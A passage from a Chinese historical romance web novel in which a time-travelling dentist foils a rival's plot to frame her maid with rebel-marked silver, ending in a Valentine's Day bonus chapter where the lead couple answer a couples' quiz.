“爹,你这就不懂了,林有仁就一个女儿,百年之后,除了女婿,家业能给谁?俗话说,舍不得孩子套不住狼,咱们家说到底也没啥损失,等张家那小皮娘上门送银子,咱们还能再捞一笔。”齐大郎满不在乎道。
“你说得轻巧!官差一趟趟来,上下打点你老子我难道不花钱?你也是色令智昏,陷害个丫头片子,用得着裁咱家独家的绸料!你个败家子,到现在还和林家那丫头混一起,连去讨要损失都不敢。没用的东西!”
“哎哎哎,少看不起我啊—”齐大郎眯了眯他那双小眼睛,道:“说起来,苏家那丫头也确实命大。林玉珠算计了她两次,都没把她按倒。她也是家中独女,长得也水灵。要不是被林家盯着,我娶她也是可以的。”
“我不管你和林家谋算什么,你少再给家里添乱子。我打听过了,苏家现在有岐黄谷当靠山,扎手的很。林家都没办法直接对上她们,你少跟着掺和。”齐老爷哼了一声,警告他:“咱们家现在被官府盯着,真犯了事,没人保得住你。”
齐大郎一张丑脸满是嚣张:“林家早查过了,苏家那丫头根本就是狐假虎威,拿着岐黄谷扯大旗呢。她医馆里那俩大夫,出身岐黄谷不假,却只是红葫郎中。济世堂背后人脉,可是有岐黄谷长老级的呢。”
“林玉珠已经设好连环计,等张家那小皮娘把咱家的礼金一退,嘿,那苏家小丫头可就要倒大霉喽。”
“你们就能保证苏家没个后手靠山?苏南星滥好人一个,承他情的人可不少。”齐老爷踱着步,心中总有浅淡的不安:“我在京城打拼这些年,白手起家,治下这些家业。京中卧虎藏龙,一板砖下去能砸三五个官。做事总要留一线,咱们家与苏家往日无怨近日无仇,何必掺和。儿啊,要不咱们收手吧。”
齐大郎不依,道:“我为了咱们齐家,连林玉珠这种二手货都不嫌弃。现在只差临门一脚,你让我收手?爹,林有仁手下都把苏家查个底朝天,苏家没你担心的那个本事。林玉珠已经说了,等回春堂到手,医馆一半归她一半归我。白捡漏的东西,为什么不要?”
“万一苏家就是有靠山保她们呢?”齐老爷焦躁道。
齐大郎冷笑道:“嘿,那算他倒霉,连苏家人一起栽跟头吧。”
20. 反向挖坑小能手
回春堂后院,苏夫人送走了前来做媒的冰人。
自从得知张大娘给小桃定亲,苏夫人心事就多了一桩。
苏颜妍比小桃还大一岁呢,现在也没定个人家。
丈夫下落不明,徒弟反目成仇,独女落水后性格大变,一件件事压的她夙夜难眠。
她本就体弱不禁事,苏颜妍接手医馆后早出晚归,她身边没个亲人陪伴,郁郁寡欢。
更焦灼的是,医馆地契给了苏颜妍,中馈家用还是她掌管。眼见银钱一日日只出不进,她怕给女儿添压力,咬紧牙关闷在心里。
她一辈子都是被护在温室的小妇人,从不曾出门讨生活,不晓得如何经营。越来越少的存银,成了勒在她颈间的细绳,日渐紧缩,让她呼吸困难。
建康路南有个钱婆子,平日保媒拉纤,兼职掮客,手中人脉广,资源多。
她素来就爱串门,经常找苏夫人聊天。
苏夫人与她聊得久了,不知不觉就在言语中带出一点对花用的焦虑来。
钱婆子当时就拍胸口:“哎呦不是我吹,苏娘子若担心这个,我正好知道有个好进项。我知你不耐烦出门去和外人打交道,你把银子给我,我帮你做,你在家包收利钱就行。”
左右都是熟人,苏夫人也不怕钱婆子卷钱走人,就先是五两十两的,慢慢倒腾。到了月半,连本带利,攒到百余两银子。
苏颜妍挪借银钱给小桃,苏夫人心惊之余,不免多说了两句:“张大娘家遇上这事,舍点钱财也是幸运。小桃是个好姑娘,齐大郎那做派,委实不是良人。咱家能搭把手,就帮扶她一把。我这里正好存了些银子,是钱婆子帮忙赚得的。等得闲了,我再找她,咱们重新存就是了。”
“钱婆子怎么会这么好心,能热心肠到帮人赚钱,这事有古怪。”苏颜妍当时就心里嘀咕,她直觉这事不对。
等小桃带着银子离开,萧景琮提醒,她一下子想起苏夫人的话,安排查齐家时顺手也让他们查一下钱婆子。
这一查,果然大有收获。
“齐大郎和钱婆子私底下有接触过?还疑似给过钱婆子银钱?”苏颜妍原本坐在萧景琮身边,听到出去查探的人回禀的话,惊得站了起来。
萧景琮看她皱着脸,像热锅上的蚂蚁似的,开始绕着座椅团团转,他说道:“这两人就算有来往,和你能扯上什么关系?你若不放心,我让人绑了他们过来,咱们审一审?”
苏颜妍满头黑线:“大哥,私下绑架,被他们捅出去,咱们有理也变没理的了。我只是担心,齐大郎给了钱婆子银子,钱婆子又给了我娘银子。现在,我把银子给了小桃,小桃正要把银子送还给齐大郎,这些银子,会不会有问题。”
这一刻,她可不是一个人,她看过的各种宫斗剧宅斗剧职场官场剧都在闪闪发光,她脑洞大开,阴谋论到极点。
萧景琮听她说着,渐渐和她的脑洞搭上了弦:“假如银子被动过手脚,小桃退还银子时,齐家会当场收网。到时候,不光小桃家逃不脱,借给她银子的你,也会被拖进陷阱里。”
他表情冷冷,周身泛起凉凉的气息,冬日风刃似的。
苏颜妍看他一眼,差点被冻住,她纳闷地问:“对,我就是怕这个。你又怎么啦,脸变成冰块了。”
她伸手戳戳萧景琮的脸,□□弹弹,软玉一般。
她看萧景琮冷肃的俊脸开始泛红涨热,才后知后觉停了手,讪讪道:“咱们找小桃,把银子拿回来,先检查一下。我对这个不熟悉,你能帮我看看哪里有问题吗?”
萧景琮点头,清了清嗓子,道:“可以先从我这里拿出银子,我能保证它们绝对安全,如果齐大真的用银子设局,他栽定了。”
“行,就这么办。”苏颜妍拍板定下:“我去找小桃。”
“我让人去办,你别出去了。”萧景琮不想她离开。
“要快,不能打草惊蛇,我还想引一引设局的人呢。”苏颜妍并不固执,听他出声,便留下来,只殷殷叮嘱。
萧景琮手下的人行动足够迅速,很快便将事办妥。
待银两一送回,苏颜妍拉着萧景琮上前。
白花花的银两,铸成元宝形状。左右两堆分别是从小桃处取回的和萧景琮提供的。
苏颜妍两只手分别捻起一个银锭,翻来覆去,相互比较,看不出有哪里不对。
她问萧景琮:“能看出来吗?会不会是我们多想了?”
萧景琮将手掌虚虚托在她的手下面,示意她看:“这边取回的银锭是新铸的,成色与另一边的不同。据我所知,朝廷近年并未批准民间银炉自由铸造。这些银两,来历恐怕有些不妥。”
苏颜妍变了脸色:“齐大郎果然在下套!”
这次还扯到苏夫人身上,好阴狠的手段!
幸亏仲景帮她调查,不然真要掉坑里了。现在提前知道齐大的后手,她可以占着先手,反向算计,等着齐大郎自作自受。
还有苏夫人那边,也要细细和她说说,钱婆子不是好人,要小心提防。
苏颜妍想通,定下主意,燃起熊熊干劲,只想安排下去,等待设局之人入瓮,尝尝她的大巴掌!
萧景琮抬眼望着苏颜妍,看她满是活力的样子,眼中慢慢溢出痴迷。
他想她时时刻刻,目光落在他身上,人陪在他身边。就像乔木藤萝,缠缠绵绵,依存不离。
他生的俊,苏颜妍被他盯着,一时也有些羞窘。
她用手把鬓边碎发顺到耳后,指尖贴紧下颌,用手指的温度中和升腾的热意。
窗外浮光穿过窗棂,如水如波,鱼儿跳跃碎成斑驳涟漪,漾在两人身上。蝉鸣啁啁,引得人心中的情意,一起躁动不休,扯着嗓子想鸣叫出声。
咚咚、咚咚——心跳声和着响着,两颗心逐渐同频,合成一道音。
————
苏颜妍将银两的事细细说与小桃听,小桃心惊过后,便是满腹怒火。
“齐大那厮真是好生不要脸,一而再再而三的使坏,他明明与姑娘并无仇怨!”
“有时候,嫉恨、利益、愚蠢会酿成恶意,恶意驱动,没有仇怨也会动手害人。”
“姑娘,我这就带银两去找他。我是片刻也忍不了和他有半分关系的。看他这次到底要搞出什么幺蛾子。”<
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“我和仲景会暗中跟着你,等他发作,我会去找他对峙,让他好看。”
小桃说走就走,告别张大娘就去了齐府。
她一点没有隐瞒,遇见人大大方方地和人说:“正要去齐家退亲,八十两银子呢,分毫不差,都会退还给他们家啦。”
一路上恨不得敲锣打鼓,引得好事之人尾随跟着,去往齐家。
齐家门房见人多势大,一溜烟去府内找齐大郎。齐大郎一听大喜,人多好,人多正合他意。
他装模作样出了府门,惺惺作态从小桃手中接过银两,说了一通大发慈悲解除定亲的话,将话锋转到退回的银锭上:“这银钱,不是齐家当时送的那些吧。”
小桃心下了然,面上不显,僵硬顶道:“你长了火眼金睛不成?银钱都是官府铸的,分两不差,八十两整。咱们如今便一刀两断,再不往来。”
齐大郎打断她,哎呀呀嚷起来:“不行,这银子有问题,你坑我们齐家呢?!快来人,去喊官差来,这银子大有问题!小桃娘子,官差来之前,你可不能走。”
周围看热闹的人被他叫嚷的好奇心起,喊话道:“齐大郎,你倒是说说,银子能有什么问题,你莫要难为人家小姑娘。人家退亲,礼金都退了,你何必污蔑一个小姑娘。”
“就是,这银两是我借给小桃的,你倒是说说,哪里有问题?我看你就是污蔑!”
苏颜妍一身茜色百褶裙,鹅黄镶边的纱袖笼着脂玉雪肤,乌发如墨,红唇如樱。她一开口,人群分散开,让出一条通道。她直直走向齐大,身后重新易容的萧景琮,与她隔着半臂,形影不离。
“哈,我污蔑?你倒是来看看,这银两上边,可是明晃晃印着……”齐大郎勾起嘴角,斜着小眼看着她,用手指着银锭,满脸笃定与轻蔑地说道:“安南…欸?怎么没有?”
他瞪大眼睛,抬手揉了揉眼眶,将银子拿在手中,细细地看,张大了口。
没有私印,成色正常,居然真是官银!这堆银子,竟不是他托钱婆子带到苏家的那一批。
他顿时冒出一头冷汗,软下身来,拿不准苏颜妍是否发现钱婆子送去的银两有问题,支支吾吾说不下去。
“噫……”围观众人发出不满嘘声,个个面色鄙视看着他。
齐大郎涨红了脸,一张丑脸变得滑稽,引人发笑。
苏颜妍冷哼一声,抬起下颚:“印着什么?铸造时间、地方、成色,哪里有问题?说啊?!”
这个齐大,果然掉坑里了,就是不知他身后,是否还有布局指挥的人。苏颜妍忖着,打算逼问他试试。
还没开口,另一行人,衣着统一,白衣青纹,拥簇着一位身着绛红褙子的妇人,从东边过来。
身形微胖,相貌普通,只一双吊梢眼恶狠狠看着苏颜妍,显出一副不好惹的模样,竟是济世堂林家女----林玉珠。
苏颜妍被盯得浑身不适,萧景琮见她蹙眉,身形一闪,侧在她身前,高大的身形如松如柏,挡住那道怨毒的目光。
林玉珠看到这情形,心中嫉恨更甚,冷哼一声:“苏颜妍,数日不见,狐媚功夫见长了!”
21. 怼怼怼
恶意扑面,萧景琮如同嗅到血气的强大野兽,瞬时就要呲出獠牙。
在他沉眉冷目将锋锐厉色倾轧而出时,苏颜妍柔软的手搭在他肩上,将他拨到身后。
她身高只到他的下巴,他垂眸就能看到她头顶,自然旋成的小小发窝。
这个纤细娇俏的小女子,在面对怨恨冲突时,第一反应不是躲藏,而是将他挡在身后。
这是萧景琮从未得到过的体验。
真是奇妙,许多许多的第一次,竟都是她带来。
拔牙时亲密贴近,呼吸相闻;
岐黄谷动魄惊心,牵肠挂肚;
分别时神思不属,魂萦梦绕……
苏颜妍倒是没他想的这样多,她只是血脉里的吵架BUFF被触发,单纯想出来对线了。
她上次见林玉珠,还是刚穿来就被白延琅抢医馆的时候,她一直在旁边挂呱呱呱。当时她人都认不全,怼走他们后才知道林玉珠的身份。
这次一照面,她就汪汪汪,这是上次怼的轻了啊。
“你又是谁啊,你这样怎么能白天出门,太损害咱们城里的市容市貌啦。带钱了吗?伤了大家的眼睛,记得赔医药费啊。”
林玉珠浑身颤抖,一口气差点堵到胸中,哆哆嗦嗦指着苏颜妍道:“你…你…你敢骂我……”
苏颜妍竖起一根手指,伸直手臂冲着她晃了晃:“哎呀,怎么能这样污蔑人,我只是实话实说,怎么能叫骂~人~呢~”
骂、人两字加重拖长音,说不尽的阴阳怪气。
嘻嘻嘻,气死她!
看她还张大嘴要出声,苏颜妍抢先一步说道:“我劝你呢,开口之前过过脑子。一见面你就狐呀媚呀功夫呀挂在嘴上,你是很懂这种事吗?你怎么这么熟悉呀?你这样了解一定是因为自己就是这种人吧?哎呀你这个样子做这种事情真是太辣眼睛啦!”
“你说什么呢?!”林玉珠本就暴躁骄横,这会儿只觉得周围的人都在对自己指指点点议论纷纷,恨不得亲手去撕下对面那张芙蓉脸。
“伤风败俗、世风日下、人心不古…天哪,我说的这些你会不会听不懂啊,毕竟有些畜生听不懂人话的…”苏颜妍故作一脸忧伤状,哀怜地看着对方,宛如看到一只无能狂吠的落水狗。
齐大郎看林玉珠气得说不出话来,忙凑上前去献殷勤。他生的矮小丑怪,这两人一起,衬得对面苏颜妍和萧景琮,男的高大端正,女的娇俏甜美,两组人马云泥之别。
林玉珠气歪鼻子,一腔火气冲着齐大郎喷过去:“凑过来干嘛,去找官差抓人!这小贱人,这次一定让她脱一层皮!”
苏颜妍闻言一愣,马上和萧景琮对视一眼,心中了然:这个林玉珠,就是同齐大郎一起布局坑害小桃的人!
引蛇出洞,果然捉到这条毒蛇了。
她打蛇随棍上,立刻接口道:“林玉珠,小贱人骂谁?”
林玉珠尖声叫骂:“小贱人骂你!”
苏颜妍噗嗤笑起来:“对对对,正是小贱人骂我。小贱人不仅骂我,还未卜先知,提前知道这齐家将要发生什么啦?”
林玉珠没想到她入了言语陷阱,心中更恨。不过想到苏颜妍入了套,沾了叛党印记的银子是实证,这次就算是岐黄谷的人也保不住她,她又得意起来。
“哼,牙尖嘴利又有什么用,还不是被我算计成功,马上要进大牢。一个女人被关,名声就毁了。等我再使些银子,贿赂一下牢头,非要她吃尽苦头才解我心头之恨。”她恨恨想着,勾起嘴角。
她冷哼道:“我也是听说齐家倒霉,说了一家破落户农家女,人品极差,贪人钱财。嘴上说着退亲,礼金却尽数花用,真是让人生气。怎么,这个人和你有关系?也对,芝麻绿豆臭味相投吧。”
苏颜妍生气她编排小桃,怼到:“你这样急齐大郎之急,忧齐大郎之忧,你俩真是心心相印一家人啊。和齐家结亲的不是你,把你眼红的流口水了吧。啧啧啧,有这个功夫去嫉妒别人,把这心思放你旁边那个男人身上,你们才是真正的王八对绿豆呢。”
“哈哈哈哈哈——”周边围观的人听她说的诙谐逗趣,纷纷笑了出声。
小桃舒了口气,双手在袖中从拳头状放松,后退一步靠在柱子旁。
差一点,她就要忍不住上去揍人了。
萧景琮面具下挑起嘴角,眼中盈起笑意。
齐大郎以为自己获得了支持肯定,沾沾自喜凑到林玉珠面前。他不敢明着说收到的银子没问题,只挤眉弄眼对着林玉珠暗示,可惜他五官乱飞滑稽无比,没人能看得出他要表达的意思。
林玉珠气得翻白眼:“你还不走,离我远点。银子呢?拿出来给大伙儿看看,不给她点颜色看看,这死丫头以为我林玉珠是吃素的吗?”
“呦呦呦,看得出来你不吃素喽,吃素的若是你这个身材,早找块豆腐撞死啦。”苏颜妍见她还是不知道收敛一下脏话,继续怼她:“真不晓得济世堂林掌柜怎么教的你,待人晓不晓得要礼貌些?张口闭口脏话连篇,哪里像个小姐的样子。”
“你也就得意这一会儿,在这逞口舌之快吧。别以为我不知道你干得那些勾当。当年勾引你师兄,人家就看不上你。现在还不知羞耻,抛头露面。这位公子,劝你看清这种女人的真面目,离她远远的,免得沾了晦气。”
林玉珠剧烈胸膛起伏,冲着苏颜妍骂了几句,又捏着嗓子对萧景琮故作体贴,数落苏颜妍的不是:
“你还不知道吧,这丫头片子也就一张脸能看,实则暗地里和岐黄谷的人勾勾缠缠的。嘿,现在更好了,还和朝廷正在稽查的安南叛党有勾连。齐大郎可给我说过了,他这里人证物证都齐全。待会儿,官差一来,小心连你也被抓走关进大牢里。”
齐大郎摆着手,冲林玉珠摇头晃脑,眼皮子直翻。
苏颜妍笑盈盈转身对齐大郎道:“奥,你有人证物证啊?那些银子到底哪里不妥啊?”
林玉珠推开齐大郎,对身边的林家仆从道:“去把银子拿过来,顺道去报官!”
白衣青纹的仆从依言而动,分头行动,一行人离开去往皇城司方向,剩下的利落去到齐家,将小桃送还的银两带出。
林玉珠昂起头,她对自家手下很是满意,对自己的布置更是信心百倍。
她拿着一锭银子对苏颜妍道:“这些银子,可是出自你手?”
“没错。”苏颜妍痛快点头。
“哼
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,死到临头,你来说说,银子为何有安南叛党的私印?”林玉珠拉高声线,出口的话又尖又利。
苏颜妍袖口遮住嘴巴,故作惊讶:“林小姐何出此言,这些银两,可是正正宗宗的官银啊。”
她演的夸张,脚下还假装向后踉跄几步,不巧被石子绊了一下,差点歪倒。
萧承琮视线一直在她身上,见她身形不稳,立刻上前,双手克制地扶着她的胳膊,虚虚圈住她的身体,支撑她站好。
林玉珠看的又气又妒,不免想起白延琅,心中恨意又起:这丫头害的她几次计划失败,每次要按死她时,都会冒出意外的人救她。这几分运道,今日总不会再出岔子吧。
想到此处,她不免犹豫看向齐大郎,这一眼,让她疑窦丛生。
齐大郎此刻满脸急色,额头都是汗,整个人好似刚从水中捞出来似的。
他见林玉珠视线落到他身上,情知瞒不过,便凑到她面前,挤眉弄眼小声道:“哎呦我的林娘子,你倒是先听我说啊。这银子被替换了,不是那批。”
林玉珠惊讶道:“怎么可能?钱婆子有胆子骗我们?”
“这会找她也来不及,先把报官的人拦回来吧。官差来了,咱们收不了场。”齐大郎赶紧道。
他们两人凑一起窃窃私语,苏颜妍立刻大声讲话:“二位真是情真意切,有什么贴心话,回家去说吧。林娘子,你倒是说说,这些银子,哪里有问题,哪里又有叛党的标记?”
“说不出来,我可要报官了。我清清白白回春堂主人,可不能让你们血口喷人。前几日就有坏人暗中用荷包陷害我,这手段,怎么和今日这么像啊?难不成,也是林娘子你的手笔?”
“咱们两人,统共见过两次面,你对我如此大的恶意,难不成,济世堂也对我家回春堂狼子野心?”
苏颜妍一声高过一声,说的林玉珠一句话也说不出。
看她息了声,苏颜妍又炮轰齐大郎:“齐大郎,小桃已经将礼金退还,齐家已经与张大娘家退亲,是也不是?这些银两,分文不差,已交付到你们齐家。银子是正统官银,铸造时间、地点、成色,分毫不差,都在你眼皮子底下。当着大伙的面,你说,是也不是?!”
齐大郎顶着满头汗,艰难抬手擦了擦额头,结结巴巴道:“这…这…”
苏颜妍俏脸一片冷色,肃声道:“我这里人证物证也是齐全,官差稍后就来。栽赃陷害、与叛党勾连的,到底是谁,你心里最清楚。好好想,好好说,你齐家在城里经营多年,可得小心赔掉家底。”
她已经抓出设局暗算的那只黑手,林玉珠和齐大郎,没一个好东西。
一个渣男一个恶女,也算坏人联盟了。
她想试试能不能离间这两人,人打狗,哪有狗咬狗来得精彩。
他们两个反目,能最大限度消耗彼此的能量,就算有风波余韵,也波及不到小桃等人了。
齐大郎一个贪婪逐利的小人,闻言果然动摇。毕竟济世堂家大业大,他齐家可扛不住官府再来进出几趟。
他咬咬牙,在众人的注视下,承认道:“对,这些银两没有问题,足数足额,官银八十两,我家与张家的亲事,已经解除,现在两清了。”
22. 狗咬狗
苏颜妍舒了一口气,知道事情算是妥了。齐大郎当众承认与小桃解除婚约,最大的目标已经完成。引出了设局使坏的林玉珠,做实银两正常,脱离陷阱,意外之喜。
知道是谁在背后使坏,有了防备,林玉珠必不可能再成功算计。
现在,攻守易行了。
没道理只许别人算计伤害,不许她还手的。林玉珠是吧,这事没完。
苏颜妍凑过去和萧景琮小声说道:“林玉珠让人去找官差,你说官差会来吗?”
萧景琮也跟着小声回答:“京城重地,有人报官涉及叛党,皇城司除非是死了,但凡有人喘气,一定会派人来的。这种事情,宁可抓错,不可放过。”
也是,诛九族重罪呢。
苏颜妍道:“那官差来了,会秉公执法吗?会不会出现被林家贿赂,不由分说颠倒黑白,把我们抓走的事情啊?”
人情社会,她真的很担心啊。
萧景琮鼻翼轻轻出了一声哼气声,眼神凉凉道:“上次算是意外,这次他们敢徇私,皇城司从上到下,可以回家卖红薯了。”
苏颜妍抿嘴笑道:“有时候,你真的有种霸总的感觉欸。怎么,家里有点官方背景?”
萧景琮一怔,迟疑着是否要坦白,但是周边嘈杂,显然并不适合说私密话,他沉吟道:“家里确实有点背景,不过,霸总是什么东西?”
“哈哈,霸总就是那种喝着茶,说一句''天凉了,让皇城司散伙儿吧''这样的话,然后真的实现了的人。”苏颜妍越想越觉得乐不可支,嘻嘻哈哈弯下腰。
萧景琮忖度,能裁撤皇城司的,只有皇帝。难道苏颜妍已经发现他的身份,正在暗中点他,让他自己决定要不要解释?那她的态度也有些反常,她生气了吗?
苏颜妍笑了一会消停了,一看萧景琮又在发呆,抬手在她面前挥挥:“仲景,怎么又出神啦?魂兮归来~”
她继续小声问道:“那咱们要不要给官差说一下,让他们去查林玉珠他们啊?我觉得他们肯定有问题,从荷包陷害开始,他们就一直想把我和叛党扯一块儿。这操作也太熟练了,胆子很大,不像是初次作案啊。”
萧景琮眼神暗了暗,接口道:“确实,皇城司全城搜捕半月有余,至今还没能找出潜伏的首领。一般百姓,躲着叛党都来不及,一次两次想着法子设计官府的,是该好好查查。”
苏颜妍瞥了瞥另一边正在互相扯头花的齐大郎林玉珠二人,说道:“你说,我们如果想办法,让齐大郎出来指证,能不能成?他们现在已经反目,咱们威逼利诱一下,想让他反水,也有可能吧?”
萧景琮赞赏道:“行得通,我让人分开他们,找齐大谈谈。”
苏颜妍抱怨:“林玉珠也真奇葩,我和她真是连交集都没有,她一开始因为白延琅找事,我都没理她。现在居然不停给我挖坑,就为了个男人吗?何必呢。白延琅这会儿也不见了,难道他藏在林家?”
“窝藏罪犯,那也是犯法的吧?这种时候,不应该果断一点,远离渣男吗?一个底线低的人,在一起能有什么好下场啊。”
“仲景,你说,是不是?”
萧景琮一颗心随着苏颜妍砰砰响跳,他哪里把白延琅和林玉珠这种人看在眼里。若不是因为苏颜妍,这种小喽啰,抬抬手九族都得消消乐。
但是苏颜妍在这里,这些虫蛇蝼蚁,也变得有趣起来。他潜伏在苏颜妍的喜怒哀乐中,欲罢不能。
他点点头:“是。”
苏颜妍心中一动,微妙感受到无条件偏爱与支持,她有些飘飘然,又有些沉溺。
有一种说法,爱无形无影,却是藏不住的。
就算闷在心里不说,爱意也会从眼神里漾出来,从呼吸里飘出来。
爱是同频震动,只要有心,就一定能感受到。
现在,她就模模糊糊感受到,萧景琮,好像对她来说,是特殊的。
她觉得,他可能喜欢她。
这让她有些羞涩,有些悸动,有些无措。
她没有谈过恋爱,不确定是不是患难与共,对他产生的好感混淆了会错意。她只好像蜗牛一样,触角颤颤探出,感受到点触感,又快快缩回。
小心翼翼,颤颤巍巍。
林玉珠带来的人动作迅速,不等齐大郎和她扯皮拦截,官差接到报信果然很快就到了。
“皇城司办案,严查叛党,和叛党有勾连的人在哪里?”一队官差如狼似虎,突进到人群里。
苏颜妍望过去,发现正是熟人:为首的,就是之前围堵过回春堂的那些人。
钱二,京城人,家中攒钱送礼托人进了皇城司,当了探事司的逻卒。
为人圆滑擅长察言观色,入职十多年,职位虽小,却是曾经有幸得见天颜的人,是探事司里的“老油子”。
可惜马失前蹄,因回春堂一事被上官一顿臭骂,差点丢了饭碗。对苏颜妍这块“铁板”,印象不可谓不深刻。
他大老远看到苏颜妍,头皮就是一紧。待看到苏颜妍身边跟随的高大男子,更是战战兢兢。
他得见天颜不是吹牛,是真的曾经阴差阳错,看到过萧景琮易容后的样子。这会儿见到圣人与苏颜妍一起,心中明悟,算是知道之前被骂的因由了。
天可见的,查叛党查到当今的心尖儿身上,几条命啊够这样作的。
他暗暗迁怒找他报案的人,济世堂林家是吧,坑人呢这是。
他为人乖觉,知道萧景琮易容定是不能暴露身份,绷着神经站住了,摆出此生最公正最庄严的表情,开始执法。
齐大郎抹了抹汗,陪着笑道:“官爷,误会,是误会。此处并没有叛党,是下人听岔了。”
钱二看死猪似的瞪着齐大郎,这个吃了熊心豹子胆的东西,是真的有眼不识泰山啊。看这站位,和圣上对着干,真是有种啊。
他又扫过林玉珠,她身后就是前来报官的人,不由怒道:“误会?什么时候报官是一句误会就能当没事儿的?来报案的人呢?随我回官府说清楚。”
不管圣上是不是要揭露身份,他都得想办法表表忠心。齐大郎林玉珠这种人抓不了,一个仆从他还是能带走的。
林玉珠身后报案的人瑟瑟发抖,他也没想到林小姐信誓旦旦的指派,还能出现意外。他一家都是济
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世堂的身契,无论如何都不能违抗林玉珠的命令,此刻只好跪在一旁,等待发落。
苏颜妍很是看不惯这样顶罪的事,幽幽插口道:“林玉珠,敢做要敢当,你命令他们去报官,现在要躲在后面当缩头乌龟吗?”
林玉珠原本打算悄悄退下,让下人顶罪的,现在被苏颜妍一嘲讽,她火气又升起来:“是我吩咐的又怎么样?我是济世堂的大小姐,济世堂在京城经营多少年,救了多少人。我们担心叛党潜伏,对朝廷对百姓都有危险,报官是对大家好。”
可真是会给自己脸上贴金,苏颜妍暗暗吐槽。
她茶里茶气地说道:“哎呀,林小姐真是好心。隔了半条街就能提前知道齐家发生的事与叛党有关,还信誓旦旦要抓我,说官银有问题。现在官差来了,你怎么改口了?是知道自己错了,有错就改吗?”
钱二一听就知道二人不和,他有心巴结苏颜妍,于是立刻对林玉珠板着脸道:“哦?原来是济世堂林家的小姐报的官。你可知道,诬告或者申诉不实,是要被杖一百,以儆效尤的。”
林玉珠本来笃定苏颜妍落入陷阱,送还的银两有安南的隐秘印记,官差抓到人可以交差,她借机除掉一个讨厌的人,双赢。
哪成想钱婆子这个拐了几圈安排的棋子没有发挥好应有的作用。这让做出报官决定的她十分被动。
难道要将仆从交出去?这一去定然会被杖责,或许还会流放。这些人手是父亲借与她的,折在这种事情上,她回家也少不了责罚。不交只能承认是她自己出了错,父亲本就不喜多管她,恐怕更不会来想法子救她了。
她又急又气,正好看到齐大郎在一边与苏颜妍身边的人窃窃私语,瞬时计上心来:
“官爷,我也是被齐大郎这厮蒙骗了。是他告诉我,他收到的银两有安南叛党的印记,我心中记挂着朝廷大事,不想蛛丝马迹被忽略,这才遣人去报官的。”
齐大郎一听,急了:“官爷,这和我可没关系,我一开始就不知情啊。明明是林娘子来找的我,说她关注到一批与逆党有关系的银两,让我小心别收进家中。本来我还怀疑,今天张小娘子来府中退亲,正好退还了银子。我确定收到的是官银,还和大伙承认过的,官爷明鉴啊。”
钱二偷偷觑了一眼萧景琮,琢磨着他的表情,嘴上应着:“一个两个的,拿着怀疑来搅事,老子还觉得你们故意给叛党打掩护,将逻卒引到这边,暗中让叛党偷偷溜走呢。你们两个,都跟我回衙门,我要禀告大人,好好查查你们。”
齐大郎和林玉珠吓得连连喊冤:“官爷,小的/小女绝对和叛党没有关系,请您明察啊!”
“带走!”钱二见萧景琮并没有出声,就知道这样处理没有不合他的心思,讲话都响亮了几分。
他临走时很是客气地对苏颜妍和萧景琮方向拱手行礼道:“诬告的人我等就先带回皇城司了,如果有上官大人需要审讯问供,可能会请今日旁观的人去喝茶谈谈话,请几位多多担待。”
他态度如此诚恳,与之前大不相同,苏颜妍也客客气气答应:“这是自然。”
配合民警调查么,规矩她懂的。
23. 情人节特辑
噔噔噔噔~今天是2025年2月14日情人节,隔壁好奇前来客串主持人,请本文女主苏颜妍和男主萧景琮来参加夫妻相性100问小游戏~
1:请问你的名字是?
苏:苏颜妍
萧:萧景琮
2:你的年龄是?
苏:19
萧:22
3:您的性别是?
苏:女
萧:男
4:请问你的性格是怎样的?
苏:乐观、坚定
萧:暴躁、自我
5:对方的性格呢?
苏:很有责任感,低调谦逊。
萧:温暖,聪明,很特别。
6:两人什么时候相遇的?在哪里?
苏:初夏,回春堂,他来看牙。
萧:对,在她家医馆。
7:对对方的第一印象是?
苏:野生患者,天降救星。
萧:小个子女大夫。
8:喜欢对方哪一点?
苏:总是能给我安全感吧。
萧:都喜欢。
9:讨厌对方哪一点?
苏:有时候会有些中二宣言?
萧:那句话,我可以改。(委屈)讨厌她关注别人。
10:你觉得自己和对方相性好吗?
苏:嗯。
萧:相性是什么?
苏:就是咱们俩的契合度。
萧:那当然好了。
11:您怎么称呼对方?
苏:仲景、景琮、宝宝、老公
萧:苏姑娘、妍娘、娘子、老婆
12:希望对方怎么称呼你?
苏:都行,叫名字吧
萧:宝宝,老公(脸红)
13:如果以动物比喻的话你觉得对方是?
苏:狗狗,很热情很可靠
萧:凤凰,又温暖又明亮,让我目眩神迷
14:如果要送对方礼物你会选择?
苏:巧克力,今天情人节(笑)
萧:我所拥有的一切
15:自己想要什么礼物?
苏:想要牙科手机
萧:什么鸡?我让人给你找。我想要老婆陪着我,看着我。
16:对对方有哪里不满吗?一般是什么事情?
苏:有点黏人了,现在。(瞥)
萧:不让我黏着,现在。(瞪)
17:您的癖好是?
苏:收集牙齿算吗?
萧:黏人。(板脸)
18:对方的癖好是?
苏:黏人~(笑)
萧:恶趣味逗人。(转头,不自在动来动去,转回来。)
19:您做的什么事(包括毛病)会让对方不快?
苏:啊,有吗?(凑过去贴贴)
萧:哼。(故作高冷)
20:对方做的什么事(包括毛病)会让您不快?
苏:刚刚,如上。
萧:刚刚,如上。
21:你们关系到什么程度?
苏:今天是什么节日,我们就是什么咯。
萧:已!经!成!亲!
22:两人初次约会是在哪里?
苏&萧:保密
23:那时两人的气氛怎么样?
苏:暧昧
萧:让人回味,印象深刻
24:那时进展到何种地步?
苏:隐隐约约知道他喜欢我,我有一点点心动。
萧:她肯定喜欢我,我也喜欢她,我们互相喜欢。
25:经常约会的地点是?
苏:医馆。
萧:……医馆。
26:您会为对方的生日做什么准备?
苏:手工蛋糕,牙医精心研制低糖款,放心吃,不蛀牙。
萧:办宵夜,开夜市,花灯游船烟火,各种稀罕玩意儿……
27:由哪一方先告白的?
苏:他
萧:我
28:您有多喜欢对方?
苏:我都同意嫁给他啦(甜甜笑)
萧:此生不渝
29:那么,你爱对方吗?
苏:爱
萧:很爱很爱
30:如果约会对方迟到1小时以上,你会怎么办?
苏:为什么会迟到?我可能不会等。
萧:为什么会迟到,我会去找她。
31:认为你的情敌是?
苏:没有
萧:吸引她关注的任何人
32:对方做什么会让你觉得没辄?
苏:现在
萧:全部
33:如果对方有变心的嫌疑你会怎么做?
苏:离开,下一个更乖
萧:你别想!我不会让你离开的!
34:能原谅对方的变心吗?
苏:不能啊。
萧:不会有这样的可能!
35:最喜欢对方身体的哪部分?
苏:脸
萧:眼睛
36:对方最性感的表情是?
苏:要哭不哭、欲罢不能的时候,最性感(回味脸)
萧:(脸红)个人秘密,隐私,对,不能说。
